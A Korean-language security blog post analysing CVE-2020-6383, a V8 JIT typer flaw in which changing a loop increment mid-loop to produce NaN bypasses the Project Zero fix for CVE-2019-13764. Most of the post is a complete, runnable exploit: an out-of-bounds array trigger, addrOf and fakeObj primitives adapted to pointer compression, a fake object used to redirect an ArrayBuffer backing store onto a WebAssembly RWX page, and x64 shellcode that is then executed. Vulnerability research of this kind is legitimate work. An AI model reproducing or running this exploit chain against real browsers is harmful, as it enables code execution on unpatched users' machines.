이전 블로그 포스트 에서 CVE-2019-13764 취약점을 알아봤다. Project Zero(P0)가 Chromium측으로 취약점 fix를 제공했는데 취약점을 완전히 제거하지 못했기에 동일한 취약점 컨셉으로 재공격이 가능했다.
...
const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
increment_type.Is(typer_->cache_->kInteger);
bool maybe_nan = false;
// The addition or subtraction could still produce a NaN, if the integer
// ranges touch infinity.
if (both_types_integer) {
Type resultant_type =
(arithmetic_type == InductionVariable::ArithmeticType::kAddition)
? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
: typer_->operation_typer()->NumberSubtract(initial_type,
increment_type);
maybe_nan = resultant_type.Maybe(Type::NaN());
}
// We only handle integer induction variables (otherwise ranges
// do not apply and we cannot do anything).
if (!both_types_integer || maybe_nan) {
// Fallback to normal phi typing, but ensure monotonicity.
// (Unfortunately, without baking in the previous type, monotonicity might
// be violated because we might not yet have retyped the incrementing
// operation even though the increment's type might been already reflected
// in the induction variable phi.)
Type type = NodeProperties::IsTyped(node) ? NodeProperties::GetType(node)
: Type::None();
for (int i = 0; i < arity; ++i) {
type = Type::Union(type, Operand(node, i), zone());
}
return type;
}
...
패치 코드는 반복문 최적화 과정에서 initial_type, increment_type에 따라 반복문 Range를 구할 때 induction variable i가 NaN이 되는 케이스를 체크한다. 이렇게 명시적으로 NaN이 되는 케이스를 걸러내 CVE-2019-13764 취약점을 제거 했다고 생각했으나 여전히 문제가 있었다. 패치 코드는 반복문 최적화가 진행되는 시점에만 inital_type, increment_type 변수로 NaN이 되는 경우를 확인한다. 하지만 최적화된 반복문이 진행되는 과정 중간에, 즉 for문 안쪽에서, increment를 변경해 NaN을 유도할 수 있다. 아래 반복문이 그런 경우다.
var increment = -Infinity;
var k = 0;
for (var i = 0; i < 1; i += increment) {
if (i == -Infinity) {
increment = +Infinity;
}
if (++k > 10) {
break;
}
}
초기 initial은 0이고 increment은 -Infinity로 둘 다 V8의 kInteger에 해당하므로 both_types_integer는 true이고, 이 둘의 덧셈 또는 뺄셈이 NaN을 만들지 않기 떄문에 P0가 제공한 NaN 체크 루틴에 걸리지 않는다. 하지만 반복문 중간에 i가 -Infinity인 시점에 increment를 +Infinity으로 변경함으로써 이 둘을 합이 induction variable i를 NaN이 되는 상황을 만들 수 있다.
따라서 CVE-2019-13764 취약점 코드를 약간만 수정하면 다시 공격 할 수 있다.
function trigger(argument) {
var x = -Infinity;
var k = 0;
for (var i = 0; i < 1; i += x) {
if (i == -Infinity) {
x = +Infinity;
}
if (++k > 20) {
break;
}
}
i = Math.max(i, 0x100000800);
// After step one:
// actual = NaN, inferred = [0x100000800; +Infinity)
// representation = double
i = Math.min(0x100000801, i);
// After step two:
// actual = -0x8000000000000000, inferred = [0x100000800, 0x100000801]
// representation = int64_t
i -= 0x1000007fa;
// After step three:
// actual = -2042, inferred = [6, 7]
// representation = int32_t
i >>= 1;
// After step four:
// actual = -1021, inferred = 3
// representation = int32_t
i += 10;
// After step five:
// actual = -1011, inferred = 13
// representation = int32_t
var array = new Array(i);
array[0] = 1.1;
var array_float = [1.1, 1.2, 1.3, 1.4];
var array_object = [{
"A": 1
}, 1.1];
return [array, array_float, i, array_object];
}
이 취약점엔 CVE-2020-6383 번호가 부여됐다. 끝......... 익스플로잇 까지 마무리 하고 싶어서 좀 더 해봤다.
CVE-2020-6383 패치를 적용한 V8 버전은 Pointer Compression가 적용되어 있다. 따라서 CVE-2019-13764 익스플로잇에서 사용하던 64비트 포인터를 유출하고 조작하는 방법은 더이상 유효하지 않았다. fake object를 만드는 과정에서 8바이트 주소에서 4바이트 오프셋를 다루는 것으로 변경했다.
// Make fake object
var map_array_float = array_corrupted[index_map_array_float].toBigInt();
var fake_map = map_array_float & 0xFFFFFFFFn;
var fake_properties = 0x41414141n; // don't care
var fake_elements = 0x42424242n; // don't care
var fake_length = 0x00000008n; // length 4
var data1 = (fake_properties << 32n) | fake_map;
var data2 = (fake_length << 32n) | fake_elements;
var array_craft = [ data1.toNumber(), data2.toNumber(), 1, 0xffffffff ];
var array_craft_addr = addrOf(array_craft) & 0xFFFFFFFFn;
var fake_object = fakeObj(array_craft_addr - 0x20n);
var fake_object_addr = addrOf(fake_object) & 0xFFFFFFFFn;
ArrayBuffer 두 개 array_buf1, array_buf2를 만들고 array_buf1의 backing store 포인터를 array_buf2로 변경하던 기존의 방법도 수정해야 했다. ArrayBuffer backing store pointer는 Pointer Compression가 적용되지 않기 때문에 64비트 주소를 넣어줘야 하는데 우리는 array_buf2 주소의 하위 32비트만 얻을 수 있을 뿐이다. 상위 32비트를 얻을 방법이 없다. 이런 이유로 ArrayBuffer 두 개를 활용하는 방법은 쓸 수 없다. ArrayBuffer 1개만 사용하는 방법으로 수정했다.
WebAssembly instance는 RWX 속성을 가지는 64비트(!) 메모리 주소는 오프셋 0x68에 위치한다. addrOf 함수로 먼저 이 주소를 유출하고 ArrayBuffer의 backing store에 넣으면 된다.
// Change fake object's elements pointer to address of Wasm RWX region.
// Backing store pointer is located at &ArrayBuffer+0xC,
// so set fake object's elements pointer to &ArrayBuffer+0x4.
// After that, by accessing fake_object[1], we can change ArrayBuffer backing store pointer.
print(`set fake_object's elements pointer to array_buf1`);
array_craft[1] = (array_buf1_offset + 0x4n).toNumber();
print(`set array_buf1's backing store pointer to wasm_rwx`);
fake_object[1] = wasm_rwx;
최종 익스플로잇 코드는 아래와 같다. 기존 익스플로잇을 수정하는 방향으로 진행했기에 흐름은 전과 같다.
let floatView = new Float64Array(1);
let uint64View = new BigUint64Array(floatView.buffer);
Number.prototype.toBigInt = function toBigInt() {
floatView[0] = this;
return uint64View[0];
};
BigInt.prototype.toNumber = function toNumber() {
uint64View[0] = this;
return floatView[0];
};
var array_trigger;
var array_corrupted;
var array_float;
var length_corrtuped;
var array_object;
var index_map_array_float = 20;
var index_map_array_object = 26;
function trigger(argument) {
var x = -Infinity;
var k = 0;
for (var i = 0; i < 1; i += x) {
if (i == -Infinity) {
x = +Infinity;
}
if (++k > 20) {
break;
}
}
i = Math.max(i, 0x100000800);
// After step one:
// actual = NaN, inferred = [0x100000800; +Infinity)
// representation = double
i = Math.min(0x100000801, i);
// After step two:
// actual = -0x8000000000000000, inferred = [0x100000800, 0x100000801]
// representation = int64_t
i -= 0x1000007fa;
// After step three:
// actual = -2042, inferred = [6, 7]
// representation = int32_t
i >>= 1;
// After step four:
// actual = -1021, inferred = 3
// representation = int32_t
i += 10;
// After step five:
// actual = -1011, inferred = 13
// representation = int32_t
var array = new Array(i);
array[0] = 1.1;
var array_float = [1.1, 1.2, 1.3, 1.4];
var array_object = [{
"A": 1
}, 1.1];
return [array, array_float, i, array_object];
}
function addrOf(obj) {
var array_trigger = trigger(3);
var array_corrupted = array_trigger[0];
var array_float = array_trigger[1];
var length_corrtuped = array_trigger[2];
var array_object = array_trigger[3];
// with accessing array_corrupted[index], we can access array_object, array_float array.
var map_array_float = array_corrupted[index_map_array_float];
var map_array_object = array_corrupted[index_map_array_object];
array_object[0] = obj;
// we leak 8bytes, map and properties pointer.
var map_float = map_array_float.toBigInt();
low_float_map = map_float & 0xFFFFFFFFn;
var map_object = map_array_object.toBigInt();
high_object_map = map_object >> 32n;
// change array_object's map (object -> float)
array_corrupted[index_map_array_object] = (high_object_map << 32n | low_float_map).toNumber();
let leak = array_object[0];
// restore array_object's map (float -> object)
array_corrupted[index_map_array_object] = map_array_object;
return leak.toBigInt();
}
function fakeObj(addr) {
var array_trigger = trigger(3);
var array_corrupted = array_trigger[0];
var array_float = array_trigger[1];
var length_corrtuped = array_trigger[2];
var array_object = array_trigger[3];
// with accessing array_corrupted[index], we can access array_object, array_float array.
var map_array_float = array_corrupted[index_map_array_float];
var map_array_object = array_corrupted[index_map_array_object];
array_float[0] = addr.toNumber();
// we leak 8bytes, map and properties pointer.
var map_float = map_array_float.toBigInt();
high_float_map = map_float >> 32n;
var map_object = map_array_object.toBigInt();
low_object_map = map_object & 0xFFFFFFFFn;
// change array_float's map (float -> object)
array_corrupted[index_map_array_float] = (high_float_map << 32n | low_object_map).toNumber();
var fake = array_float[0];
// restore array_float's map (object -> float)
array_corrupted[index_map_array_float] = map_array_float;
return fake;
}
print("triggering vulnerability");
while(1) {
array_trigger = trigger(3);
array_corrupted = array_trigger[0];
array_float = array_trigger[1];
length_corrupted = array_trigger[2];
array_object = array_trigger[3];
if (length_corrupted == -1011) {
print('done. break');
break;
}
}
print("prepare ArrayBuffer")
let array_buf1 = new ArrayBuffer(1024);
let array_buf2 = new ArrayBuffer(1024);
let array_buf1_offset = addrOf(array_buf1) & 0xFFFFFFFFn;
print(`array_buf1 offset : 0x${array_buf1_offset.toString(16)}`);
let array_buf2_offset = addrOf(array_buf2) & 0xFFFFFFFFn;
print(`array_buf2 offset : 0x${array_buf2_offset.toString(16)}`);
// Make fake object
var map_array_float = array_corrupted[index_map_array_float].toBigInt();
var fake_map = map_array_float & 0xFFFFFFFFn;
var fake_properties = 0x41414141n; // don't care
var fake_elements = 0x42424242n; // don't care
var fake_length = 0x00000008n; // length 4
var data1 = (fake_properties << 32n) | fake_map;
var data2 = (fake_length << 32n) | fake_elements;
var array_craft = [ data1.toNumber(), data2.toNumber(), 1, 0xffffffff ];
var array_craft_addr = addrOf(array_craft) & 0xFFFFFFFFn;
var fake_object = fakeObj(array_craft_addr - 0x20n);
var fake_object_addr = addrOf(fake_object) & 0xFFFFFFFFn;
// Prepare WebAssembly instance and its RWX region address.
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var func = wasm_instance.exports.main;
var wasm_instance_offset = addrOf(wasm_instance);
print(`wasm_instance_offset : 0x${(wasm_instance_offset & 0xFFFFFFFFn).toString(16)}`);
array_craft[1] = (wasm_instance_offset + 0x68n - 0x8n).toNumber();
var wasm_rwx = fake_object[0];
print(`wasm_rwx : 0x${fake_object[0].toBigInt().toString(16)}`);
// Change fake object's elements pointer to address of Wasm RWX region.
// Backing store pointer is located at &ArrayBuffer+0xC,
// so set fake object's elements pointer to &ArrayBuffer+0x4.
// After that, by accessing fake_object[1], we can change ArrayBuffer backing store pointer.
print(`set fake_object's elements pointer to array_buf1`);
array_craft[1] = (array_buf1_offset + 0x4n).toNumber();
print(`set array_buf1's backing store pointer to wasm_rwx`);
fake_object[1] = wasm_rwx;
let array_buf1_view = new Uint8Array(array_buf1);
// Writing shellcode
print("writing shellcode");
let shellcode = new Uint8Array([72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5]);
array_buf1_view.set(shellcode);
print("popping calc");
func();

사실, 굳이 fake object를 만들어가면서 익스플로잇을 하지 않아도 된다. 이미 trigger 함수를 통해 OOB 가능한 배열 array_corrupted을 얻었기 때문에 array_corrupted[N1] 접근으로 Wasm RWX 페이지 주소를 유출하고, array_corrupted[N2] 접근으로 array_buf1의 backing store를 변경하면 된다. 구글에서 CVE-2020-6383 관련 글을 찾아보니 이런 방법으로 익스플로잇 하는 걸 볼 수 있다. 익스플로잇은 다양한 방법을 할 수 있는거니까.. But 그저 내 방식대로 해결해보고 싶었을 뿐.